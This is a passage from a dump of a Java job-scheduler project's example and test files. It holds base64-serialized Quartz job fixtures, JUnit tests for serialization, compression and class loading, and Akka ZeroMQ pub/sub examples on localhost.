UcmFuc2llbnREYXRheHIAHW9yZy5xdWFydHoudXRpbHMuRGlydHlGbGFnTWFwE+YurSh2Cs4CAAJaAAVkaXJ0eUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHam9iSW5mb3QKMHJPMEFCWE55QUNKamIyMHVaMjl0WlM1amJHOTJaWEl1WTI5eVpTNXFiMkl1UTJ4cFpXNTBTbTlpRFFacVVMak9ZekFDQUFsTUFBdGxlR1ZqZFhSbFZIbHdaWFFBTUV4amIyMHZaMjl0WlM5amJHOTJaWEl2WTI5eVpTOXFiMkl2UTJ4cFpXNTBTbTlpSkVWNFpXTjFkR1ZVZVhCbE8xc0FEbVpwZUdWa1EyeHBaVzUwU1hCemRBQVRXMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXNBRG1acGVHVmtVMlZ5ZG1WeVNYQnpjUUIrQUFKTUFBSnBjSFFBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzB3QUNHcHZZa05zWVhOemRBQVJUR3BoZG1FdmJHRnVaeTlEYkdGemN6dE1BQXhxYjJKRGJHRnpjMDVoYldWeEFINEFBMHdBQ1dwdllrUmxkR0ZwYkhRQUZreHZjbWN2Y1hWaGNuUjZMMHB2WWtSbGRHRnBiRHRNQUFkcWIySlVlWEJsZEFBc1RHTnZiUzluYjIxbEwyTnNiM1psY2k5amIzSmxMMnB2WWk5RGJHbGxiblJLYjJJa1NtOWlWSGx3WlR0TUFBZDBjbWxuWjJWeWRBQVVURzl5Wnk5eGRXRnlkSG92VkhKcFoyZGxjanQ0Y0g1eUFDNWpiMjB1WjI5dFpTNWpiRzkyWlhJdVkyOXlaUzVxYjJJdVEyeHBaVzUwU205aUpFVjRaV04xZEdWVWVYQmxBQUFBQUFBQUFBQVNBQUI0Y2dBT2FtRjJZUzVzWVc1bkxrVnVkVzBBQUFBQUFBQUFBQklBQUhod2RBQURRVVJFY0hCMEFBMHhNQzR4TkRRdU16TXVNakV5ZG5JQUptTnZiUzVuYjIxbExtTnNiM1psY2k1amIzSmxMbXB2WWk1amJHbGxiblF1VFhsS2IySXhLR2tsbjJEQjM1a0NBQUI0Y0hRQUptTnZiUzVuYjIxbExtTnNiM1psY2k1amIzSmxMbXB2WWk1amJHbGxiblF1VFhsS2IySXhjM0lBSFc5eVp5NXhkV0Z5ZEhvdWFXMXdiQzVLYjJKRVpYUmhhV3hKYlhCc3E4UEs3QUZhVks4Q0FBZGFBQXBrZFhKaFltbHNhWFI1V2dBTmMyaHZkV3hrVW1WamIzWmxja3dBQzJSbGMyTnlhWEIwYVc5dWNRQitBQU5NQUFWbmNtOTFjSEVBZmdBRFRBQUlhbTlpUTJ4aGMzTnhBSDRBQkV3QUNtcHZZa1JoZEdGTllYQjBBQmRNYjNKbkwzRjFZWEowZWk5S2IySkVZWFJoVFdGd08wd0FCRzVoYldWeEFINEFBM2h3QUFCd2RBQUhSRVZHUVZWTVZIRUFmZ0FQY0hRQUJVMTVTbTlpZm5JQUttTnZiUzVuYjIxbExtTnNiM1psY2k1amIzSmxMbXB2WWk1RGJHbGxiblJLYjJJa1NtOWlWSGx3WlFBQUFBQUFBQUFBRWdBQWVIRUFmZ0FLZEFBR1VrVk5UMVJGYzNJQUtHOXlaeTV4ZFdGeWRIb3VhVzF3YkM1MGNtbG5aMlZ5Y3k1RGNtOXVWSEpwWjJkbGNrbHRjR3lJQnZUcWpkdDV3Z0lBQlV3QUJtTnliMjVGZUhRQUcweHZjbWN2Y1hWaGNuUjZMME55YjI1RmVIQnlaWE56YVc5dU8wd0FCMlZ1WkZScGJXVjBBQkJNYW1GMllTOTFkR2xzTDBSaGRHVTdUQUFNYm1WNGRFWnBjbVZVYVcxbGNRQitBQnRNQUJCd2NtVjJhVzkxYzBacGNtVlVhVzFsY1FCK0FCdE1BQWx6ZEdGeWRGUnBiV1Z4QUg0QUczaHlBQ2h2Y21jdWNYVmhjblI2TG1sdGNHd3VkSEpwWjJkbGNuTXVRV0p6ZEhKaFkzUlVjbWxuWjJWeXlkRlhPdzNnOWU0Q0FBdEpBQkp0YVhObWFYSmxTVzV6ZEhKMVkzUnBiMjVKQUFod2NtbHZjbWwwZVZvQUNuWnZiR0YwYVd4cGRIbE1BQXhqWVd4bGJtUmhjazVoYldWeEFINEFBMHdBQzJSbGMyTnlhWEIwYVc5dWNRQitBQU5NQUE1bWFYSmxTVzV6ZEdGdVkyVkpaSEVBZmdBRFRBQUZaM0p2ZFhCeEFINEFBMHdBQ21wdllrUmhkR0ZOWVhCeEFINEFFa3dBQ0dwdllrZHliM1Z3Y1FCK0FBTk1BQWRxYjJKT1lXMWxjUUIrQUFOTUFBUnVZVzFsY1FCK0FBTjRjQUFBQUFBQUFBQUZBSEJ3Y0hFQWZnQVVjSEVBZmdBVWNIUUFCM1J5YVdkblpYSnpjZ0FaYjNKbkxuRjFZWEowZWk1RGNtOXVSWGh3Y21WemMybHZiZ0FBQUFMa2ZpOFBBZ0FDVEFBT1kzSnZia1Y0Y0hKbGMzTnBiMjV4QUg0QUEwd0FDSFJwYldWYWIyNWxkQUFVVEdwaGRtRXZkWFJwYkM5VWFXMWxXbTl1WlR0NGNIUUFEakF2TVRBZ0tpQXFJQ29nS2lBL2MzSUFHbk4xYmk1MWRHbHNMbU5oYkdWdVpHRnlMbHB2Ym1WSmJtWnZKTkhUemdBZGNac0NBQWhKQUFoamFHVmphM04xYlVrQUNtUnpkRk5oZG1sdVozTkpBQWx5WVhkUFptWnpaWFJKQUExeVlYZFBabVp6WlhSRWFXWm1XZ0FUZDJsc2JFZE5WRTltWm5ObGRFTm9ZVzVuWlZzQUIyOW1abk5sZEhOMEFBSmJTVnNBRkhOcGJYQnNaVlJwYldWYWIyNWxVR0Z5WVcxemNRQitBQ1JiQUF0MGNtRnVjMmwwYVc5dWMzUUFBbHRLZUhJQUVtcGhkbUV1ZFhScGJDNVVhVzFsV205dVpUR3o2ZlYzUkt5aEFnQUJUQUFDU1VSeEFINEFBM2h3ZEFBTlFYTnBZUzlUYUdGdVoyaGhhUVFvUWV3QUFBQUFBYmQwQUFBQUFBQUFkWElBQWx0SlRicGdKbmJxc3FVQ0FBQjRjQUFBQUFRQnQzUUFBYnpUQUFIdVlvQUFOdTZBY0hWeUFBSmJTbmdnQkxVU3NYV1RBZ0FBZUhBQUFBQVQvOS9hNEIzQUFBSC83TFlvd0JBQUFQL3lhblpkd0FBeS8vS1JFcURZQUFELzhzYUVDa0FBTXYvekJvMnptQUFBQUFlQWRpOEFBRElBQjZ0Qm5OZ0FBQUFIN3R5RFFBQXlBQWdnYWtuWUFBQUFDR1FGTUVBQU1nQUlsWkwyMkFBQUFBamJicVdBQURJQUNRejhiQmdBQUFBSlVKZFNnQUF5QUFtQ0pSa1lBQUFBQ2NXLy80QUFNZ0FKOTAzR0dBQUFBQjdFa3pMQUFBQndjSEJ6Y2dBT2FtRjJZUzUxZEdsc0xrUmhkR1ZvYW9FQlMxbDBHUU1BQUhod2R3Z0FBQUZKL3B5NElIZz14AHQADURFRkFVTFQuTXlKb2J+cgAqY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYiRKb2JUeXBlAAAAAAAAAAASAAB4cQB+AAt0AAZSRU1PVEVzcgAob3JnLnF1YXJ0ei5pbXBsLnRyaWdnZXJzLkNyb25UcmlnZ2VySW1wbIgG9OqN23nCAgAFTAAGY3JvbkV4dAAbTG9yZy9xdWFydHovQ3JvbkV4cHJlc3Npb247TAAHZW5kVGltZXQAEExqYXZhL3V0aWwvRGF0ZTtMAAxuZXh0RmlyZVRpbWVxAH4AJEwAEHByZXZpb3VzRmlyZVRpbWVxAH4AJEwACXN0YXJ0VGltZXEAfgAkeHIAKG9yZy5xdWFydHouaW1wbC50cmlnZ2Vycy5BYnN0cmFjdFRyaWdnZXLJ0Vc7DeD17gIAC0kAEm1pc2ZpcmVJbnN0cnVjdGlvbkkACHByaW9yaXR5WgAKdm9sYXRpbGl0eUwADGNhbGVuZGFyTmFtZXEAfgAETAALZGVzY3JpcHRpb25xAH4ABEwADmZpcmVJbnN0YW5jZUlkcQB+AARMAAVncm91cHEAfgAETAAKam9iRGF0YU1hcHEAfgARTAAIam9iR3JvdXBxAH4ABEwAB2pvYk5hbWVxAH4ABEwABG5hbWVxAH4ABHhwAAAAAAAAAAUAcHBwcQB+ABNwcQB+ABN0AA1ERUZBVUxULk15Sm9idAANREVGQVVMVC5NeUpvYnNyABlvcmcucXVhcnR6LkNyb25FeHByZXNzaW9uAAAAAuR+Lw8CAAJMAA5jcm9uRXhwcmVzc2lvbnEAfgAETAAIdGltZVpvbmV0ABRMamF2YS91dGlsL1RpbWVab25lO3hwdAAOMC8xMCAqICogKiAqID9zcgAac3VuLnV0aWwuY2FsZW5kYXIuWm9uZUluZm8k0dPOAB1xmwIACEkACGNoZWNrc3VtSQAKZHN0U2F2aW5nc0kACXJhd09mZnNldEkADXJhd09mZnNldERpZmZaABN3aWxsR01UT2Zmc2V0Q2hhbmdlWwAHb2Zmc2V0c3QAAltJWwAUc2ltcGxlVGltZVpvbmVQYXJhbXNxAH4ALlsAC3RyYW5zaXRpb25zdAACW0p4cgASamF2YS51dGlsLlRpbWVab25lMbPp9XdErKECAAFMAAJJRHEAfgAEeHB0AA1Bc2lhL1NoYW5naGFpBChB7AAAAAABt3QAAAAAAAB1cgACW0lNumAmduqypQIAAHhwAAAABAG3dAABvNMAAe5igAA27oBwdXIAAltKeCAEtRKxdZMCAAB4cAAAABP/39rgHcAAAf/stijAEAAA//Jqdl3AADL/8pESoNgAAP/yxoQKQAAy//MGjbOYAAAAB4B2LwAAMgAHq0Gc2AAAAAfu3INAADIACCBqSdgAAAAIZAUwQAAyAAiVkvbYAAAACNtupYAAMgAJDPxsGAAAAAlQl1KAADIACYIlGRgAAAAJxb//gAAyAAn3TcYYAAAAHsSTMsAAAHBwcHNyAA5qYXZhLnV0aWwuRGF0ZWhqgQFLWXQZAwAAeHB3CAAAAUn+nLggeA==\";\r\n\r\n         ServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(newMsg));\r\n         ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String)serverJob.getJobDetail().getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO)));\r\n         System.err.println(\"server:\"+serverJob);\r\n         System.err.println(\"clientJob:\"+clientJob);\r\n    }\r\n\r\n    @Test\r\n    public void testCompress(){\r\n        ClientJob clientJob = ClientJobBuilder.quickBuildLocalCronJob(\"jobGroup\",\"jobGroup\", MyJob.class,\"0/10 * * * * ?\");\r\n        byte[] bytes= ClassUtil.ObjectToBytes(clientJob);\r\n        System.err.println(\"compress 前：\"+bytes.length);\r\n        byte[] compressBytes = CompressUtil.compress(bytes);\r\n        System.err.println(\"compress 后：\"+compressBytes.length);\r\n        byte[] uncompressBytes = CompressUtil.uncompress(compressBytes);\r\n        ClientJob clientJob2 = (ClientJob) ClassUtil.BytesToObject(uncompressBytes);\r\n        System.err.println(\"clientJob2:\"+clientJob2);\r\n    }\r\n\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/TestEum.java",
    "content": "package com.gome.clover;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.common.tools.RandomNumUtil;\r\nimport org.junit.Test;\r\n\r\nimport java.io.IOException;\r\nimport java.lang.management.ManagementFactory;\r\nimport java.lang.management.RuntimeMXBean;\r\nimport java.net.Socket;\r\nimport java.util.HashMap;\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/3\r\n * Time: 14:57\r\n */\r\npublic class TestEum {\r\n    @Test\r\n    public void testEumVal() throws InterruptedException {\r\n      /*  try{\r\n\r\n        }catch (Exception e){\r\n            System.err.println(\"testEumVal\"+e.getMessage());\r\n        }*/\r\n        //System.err.println(\"\" + DateUtil.formatWithDefaultPattern(\"2012-12-12 12:12:12\"));\r\n       /* while(true){\r\n            int num = new Random().nextInt(0xFFFF);\r\n            while (num == 2 || num == 7) {\r\n                num = new Random().nextInt(100);\r\n            }\r\n            System.out.println(num);\r\n        }*/\r\n        while (true){\r\n            Thread.sleep(1000);\r\n            System.err.println(RandomNumUtil.getNextIntString());\r\n        }\r\n\r\n    }\r\n    @Test\r\n    public  void testLongMax(){\r\n        Long maxLong = Long.MAX_VALUE;\r\n        System.err.println(maxLong);\r\n        int PID;\r\n        try {\r\n            RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();\r\n            String name = runtime.getName();\r\n            PID = Integer.parseInt(name.substring(0, name.indexOf('@')));\r\n        } catch (Throwable e) {\r\n            PID = 0;\r\n        }\r\n        System.err.println(\"PID:\"+PID);\r\n    }\r\n\r\n    @Test\r\n    public void testCommon(){\r\n        System.err.println(\"\"+ CommonConstants.ZMQ_SERVER_PORT);\r\n        System.err.println(\"\"+ CommonConstants.SERVER_DIFFER_MILLI_SECONDS);\r\n        System.err.println(\"\"+ CommonConstants.CLIENT_DIFFER_MILLI_SECONDS);\r\n        System.err.println(\"\"+ CommonConstants.MONITOR_DIFFER_MILLI_SECONDS);\r\n        System.err.println(\"\"+ CommonConstants.DEFAULT_COMPANY_EMAIL);\r\n        System.err.println(\"\"+ CommonConstants.DEFAULT_PRIVATE_EMAIL);\r\n        System.err.println(\"\"+ CommonConstants.ZMQ_SLEEP_CLIENT_MILLIS);\r\n        System.err.println(\"\"+ CommonConstants.ZMQ_SLEEP_SERVER_MILLIS);\r\n        System.err.println(\"\"+ CommonConstants.token);\r\n        System.err.println(\"\"+ CommonConstants.DISABLED_DB);\r\n        System.err.println(\"\"+ CommonConstants.POOL_SIZE);\r\n        System.err.println(\"\"+ CommonConstants.MAX_FAIL_TIMES);\r\n\r\n        int n = Runtime.getRuntime().availableProcessors()*2;\r\n        System.err.println(\"n:\"+n);\r\n\r\n        //建立Socket\r\n        Socket s = null;\r\n        try {\r\n             s = new Socket(IpUtil.getLocalIP(),27727);\r\n            if(s.isConnected()){\r\n                System.err.println(\"s.isConnected()\");\r\n            }\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }finally {\r\n            if(null!=s && !s.isClosed()){\r\n                try {\r\n                    s.close();\r\n                } catch (IOException e) {\r\n                    e.printStackTrace();\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    @Test\r\n    public void testMap(){\r\n        Map map  =  new HashMap();\r\n        String acd = (String) map.get(\"adb\");\r\n        System.err.println(\"\"+acd);\r\n        map.put(CommonConstants.SUCCESS,false);\r\n\r\n        boolean s = (Boolean) map.get(CommonConstants.SUCCESS);\r\n        System.err.println(\"\"+s );\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/TestThread.java",
    "content": "package com.gome.clover;\r\n\r\nimport org.junit.Test;\r\n\r\nimport java.util.concurrent.ExecutorService;\r\nimport java.util.concurrent.Executors;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/8\r\n * Time: 15:52\r\n */\r\npublic class TestThread {\r\n    @Test\r\n    public void testPoll(){\r\n        ExecutorService pool = Executors.newCachedThreadPool();\r\n        System.err.println(\"\"+pool);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/akka/serverclient/pubsub/MyActorSystem.java",
    "content": "package com.gome.clover.akka.serverclient.pubsub;\r\n\r\nimport akka.actor.ActorSystem;\r\nimport akka.actor.Props;\r\n\r\npublic class MyActorSystem {\r\n\r\n\t/**\r\n\t * @param args\r\n\t */\r\n\tpublic static void main(String[] args) {\r\n\t\tActorSystem system = ActorSystem.create(\"zeromqTest\");\r\n\t\tsystem.actorOf(new Props(WorkerTaskA.class), \"workerA\");\r\n\t\tsystem.actorOf(new Props(WorkerTaskB.class), \"workerB\");\r\n\t\tsystem.actorOf(new Props(PublisherActor.class), \"publisher\");\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/akka/serverclient/pubsub/PublisherActor.java",
    "content": "package com.gome.clover.akka.serverclient.pubsub;\r\n\r\nimport akka.actor.ActorRef;\r\nimport akka.actor.Cancellable;\r\nimport akka.actor.UntypedActor;\r\nimport akka.zeromq.Bind;\r\nimport akka.zeromq.Frame;\r\nimport akka.zeromq.ZMQMessage;\r\nimport akka.zeromq.ZeroMQExtension;\r\n\r\npublic class PublisherActor extends UntypedActor {\r\n\tpublic static final Object TICK = \"TICK\";\r\n\tint count = 0;\r\n\tCancellable cancellable;\r\n\tActorRef pubSocket = ZeroMQExtension.get(getContext().system())\r\n\t\t\t.newPubSocket(new Bind(\"tcp://127.0.0.1:1237\"));\r\n\r\n\t@Override\r\n\tpublic void preStart() {\r\n\t\t/*cancellable = getContext()\r\n\t\t\t\t.system()\r\n\t\t\t\t.scheduler()\r\n\t\t\t\t.schedule(Duration.parse(\"1 second\"),\r\n\t\t\t\t\t\tDuration.parse(\"1 second\"), getSelf(), TICK,ExecutionContext);*/\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void onReceive(Object message) throws Exception {\r\n\t\tif (message.equals(TICK)) {\r\n\t\t\tpubSocket.tell(new ZMQMessage(new Frame(\"someTopic\"), new Frame(\r\n\t\t\t\t\t\"This is the workload \" + ++count)));\r\n\t\t\t\r\n\t\t\tif(count==10) \r\n\t\t\t\tcancellable.cancel();\r\n\t\t}\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/akka/serverclient/pubsub/WorkerTaskA.java",
    "content": "package com.gome.clover.akka.serverclient.pubsub;\r\n\r\nimport akka.actor.ActorRef;\r\nimport akka.actor.UntypedActor;\r\nimport akka.event.Logging;\r\nimport akka.event.LoggingAdapter;\r\nimport akka.zeromq.*;\r\n\r\npublic class WorkerTaskA extends UntypedActor {\r\n\tActorRef subSocket = ZeroMQExtension.get(getContext().system())\r\n\t\t\t.newSubSocket(new Connect(\"tcp://127.0.0.1:1237\"),\r\n\t\t\t\t\tnew Listener(getSelf()), new Subscribe(\"someTopic\"));\r\n\r\n\tLoggingAdapter log = Logging.getLogger(getContext().system(), this);\r\n\r\n\t@Override\r\n\tpublic void onReceive(Object message) throws Exception {\r\n\r\n\t\tif (message instanceof ZMQMessage) {\r\n\t\t\tZMQMessage m = (ZMQMessage) message;\r\n\t\t\tString mesg = new String(m.payload(1));\r\n\t\t\tlog.info(\"Received Message @ A -> {}\",mesg);\r\n\t\t}\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/akka/serverclient/pubsub/WorkerTaskB.java",
    "content": "package com.gome.clover.akka.serverclient.pubsub;\r\n\r\nimport akka.actor.ActorRef;\r\nimport akka.actor.UntypedActor;\r\nimport akka.event.Logging;\r\nimport akka.event.LoggingAdapter;\r\nimport akka.zeromq.*;\r\n\r\npublic class WorkerTaskB extends UntypedActor {\r\n\tActorRef subSocket = ZeroMQExtension.get(getContext().system())\r\n\t\t\t.newSubSocket(new Connect(\"tcp://127.0.0.1:1237\"),\r\n\t\t\t\t\tnew Listener(getSelf()), new Subscribe(\"someTopic\"));\r\n\tLoggingAdapter log = Logging.getLogger(getContext().system(), this);\r\n\r\n\t@Override\r\n\tpublic void onReceive(Object message) throws Exception {\r\n\r\n\t\tif (message instanceof ZMQMessage) {\r\n\t\t\tZMQMessage m = (ZMQMessage) message;\r\n\t\t\tString mesg = new String(m.payload(1));\r\n\t\t\tlog.info(\"Received Message @ B -> {}\", mesg);\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/common/compile/TestCompile.java",
    "content": "package com.gome.clover.common.compile;\r\n\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.junit.Test;\r\n\r\nimport java.io.*;\r\nimport java.net.MalformedURLException;\r\nimport java.net.URL;\r\nimport java.net.URLClassLoader;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/26\r\n * Time: 18:56\r\n */\r\npublic class TestCompile {\r\n    @Test\r\n    public void create(){\r\n        File file = null;\r\n        try {\r\n            file = File.createTempFile(\"JavaRuntime\", \".java\", new File(System.getProperty(\"user.dir\")));\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }\r\n        String filename = file.getName();\r\n        String classname = \"com.gome.sb.JavaRuntime\";\r\n        //将代码输出到文件\r\n        PrintWriter out = null;\r\n        try {\r\n            out = new PrintWriter(new FileOutputStream(file));\r\n        } catch (FileNotFoundException e) {\r\n            e.printStackTrace();\r\n        }\r\n        StringBuilder sb = new StringBuilder();\r\n        sb.append(\"package com.gome.sb; \").append(\"public class \").append(filename.substring(0,filename.indexOf(\".\")-1))\r\n                .append(\"{}\");\r\n\r\n        out.println(sb.toString());\r\n        //关闭文件流\r\n        out.flush();\r\n        out.close();\r\n\r\n    }\r\n    @Test\r\n    public void compile(){\r\n        /* com.sun.tools.javac.Main javac = new com.sun.tools.javac.Main();\r\n        String[] args = new String[] {\"-d\",System.getProperty(\"user.dir\"),\"JavaRuntime4836122228587967142.java\"};\r\n        int status = javac.compile(args);\r\n        System.err.println(\"status\"+status);*/\r\n        URLClassLoader loader= null;\r\n        try {\r\n            loader = new URLClassLoader(new URL[]{new URL(\"file:D:\\\\Java\\\\apache-tomcat-6.0.18\\\\bin\\\\com\\\\gome\\\\clover\\\\core\\\\job\\\\client\\\\\")});\r\n            Object WYMyJob1= loader.loadClass(\"WYMyJob1\").newInstance();\r\n\r\n        } catch (MalformedURLException e) {\r\n            e.printStackTrace();\r\n        } catch (ClassNotFoundException e) {\r\n            e.printStackTrace();\r\n        } catch (InstantiationException e) {\r\n            e.printStackTrace();\r\n        } catch (IllegalAccessException e) {\r\n            e.printStackTrace();\r\n        }\r\n\r\n\r\n    }\r\n    @Test\r\n    public void getObject(){\r\n        String str =\"rO0ABXNyACJjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuU2VydmVySm9its+L9tdn6kgCAAB4cgAiY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYg0GalC4zmMwAgAITAALZXhlY3V0ZVR5cGV0ADBMY29tL2dvbWUvY2xvdmVyL2NvcmUvam9iL0NsaWVudEpvYiRFeGVjdXRlVHlwZTtbAA5maXhlZENsaWVudElwc3QAE1tMamF2YS9sYW5nL1N0cmluZztbAA5maXhlZFNlcnZlcklwc3EAfgADTAACaXB0ABJMamF2YS9sYW5nL1N0cmluZztMAAhqb2JDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAJam9iRGV0YWlsdAAWTG9yZy9xdWFydHovSm9iRGV0YWlsO0wAB2pvYlR5cGV0ACxMY29tL2dvbWUvY2xvdmVyL2NvcmUvam9iL0NsaWVudEpvYiRKb2JUeXBlO0wAB3RyaWdnZXJ0ABRMb3JnL3F1YXJ0ei9UcmlnZ2VyO3hwfnIALmNvbS5nb21lLmNsb3Zlci5jb3JlLmpvYi5DbGllbnRKb2IkRXhlY3V0ZVR5cGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AANBRERwcHQADTEwLjE0NC4zMy4yMTJwc3IAHW9yZy5xdWFydHouaW1wbC5Kb2JEZXRhaWxJbXBsq8PK7AFaVK8CAAdaAApkdXJhYmlsaXR5WgANc2hvdWxkUmVjb3ZlckwAC2Rlc2NyaXB0aW9ucQB+AARMAAVncm91cHEAfgAETAAIam9iQ2xhc3NxAH4ABUwACmpvYkRhdGFNYXB0ABdMb3JnL3F1YXJ0ei9Kb2JEYXRhTWFwO0wABG5hbWVxAH4ABHhwAABwdAALcmVtb3RlLWpvYnN2cQB+AABzcgAVb3JnLnF1YXJ0ei5Kb2JEYXRhTWFwn7CD6L+psMsCAAB4cgAmb3JnLnF1YXJ0ei51dGlscy5TdHJpbmdLZXlEaXJ0eUZsYWdNYXCCCOjD+8VdKAIAAVoAE2FsbG93c1RyYW5zaWVudERhdGF4cgAdb3JnLnF1YXJ0ei51dGlscy5EaXJ0eUZsYWdNYXAT5i6tKHYKzgIAAloABWRpcnR5TAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAdqb2JJbmZvc3EAfgABcQB+AAxwcHEAfgAOdnIAJWNvbS5nb21lLmNsb3Zlci5jb3JlLmpvYi5jbGllbnQuTXlKb2IAAAAAAAAAAAAAAHhwc3EAfgAPAABwdAAHREVGQVVMVHEAfgAecHQABk15Sm9iMX5yACpjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuQ2xpZW50Sm9iJEpvYlR5cGUAAAAAAAAAABIAAHhxAH4AC3QABlJFTU9URXNyAChvcmcucXVhcnR6LmltcGwudHJpZ2dlcnMuQ3JvblRyaWdnZXJJbXBsiAb06o3becICAAVMAAZjcm9uRXh0ABtMb3JnL3F1YXJ0ei9Dcm9uRXhwcmVzc2lvbjtMAAdlbmRUaW1ldAAQTGphdmEvdXRpbC9EYXRlO0wADG5leHRGaXJlVGltZXEAfgAnTAAQcHJldmlvdXNGaXJlVGltZXEAfgAnTAAJc3RhcnRUaW1lcQB+ACd4cgAob3JnLnF1YXJ0ei5pbXBsLnRyaWdnZXJzLkFic3RyYWN0VHJpZ2dlcsnRVzsN4PXuAgALSQASbWlzZmlyZUluc3RydWN0aW9uSQAIcHJpb3JpdHlaAAp2b2xhdGlsaXR5TAAMY2FsZW5kYXJOYW1lcQB+AARMAAtkZXNjcmlwdGlvbnEAfgAETAAOZmlyZUluc3RhbmNlSWRxAH4ABEwABWdyb3VwcQB+AARMAApqb2JEYXRhTWFwcQB+ABBMAAhqb2JHcm91cHEAfgAETAAHam9iTmFtZXEAfgAETAAEbmFtZXEAfgAEeHAAAAAAAAAABQBwcHBxAH4AIHBxAH4AIHB0AAh0cmlnZ2VyMXNyABlvcmcucXVhcnR6LkNyb25FeHByZXNzaW9uAAAAAuR+Lw8CAAJMAA5jcm9uRXhwcmVzc2lvbnEAfgAETAAIdGltZVpvbmV0ABRMamF2YS91dGlsL1RpbWVab25lO3hwdAAOMC8xMCAqICogKiAqID9zcgAac3VuLnV0aWwuY2FsZW5kYXIuWm9uZUluZm8k0dPOAB1xmwIACEkACGNoZWNrc3VtSQAKZHN0U2F2aW5nc0kACXJhd09mZnNldEkADXJhd09mZnNldERpZmZaABN3aW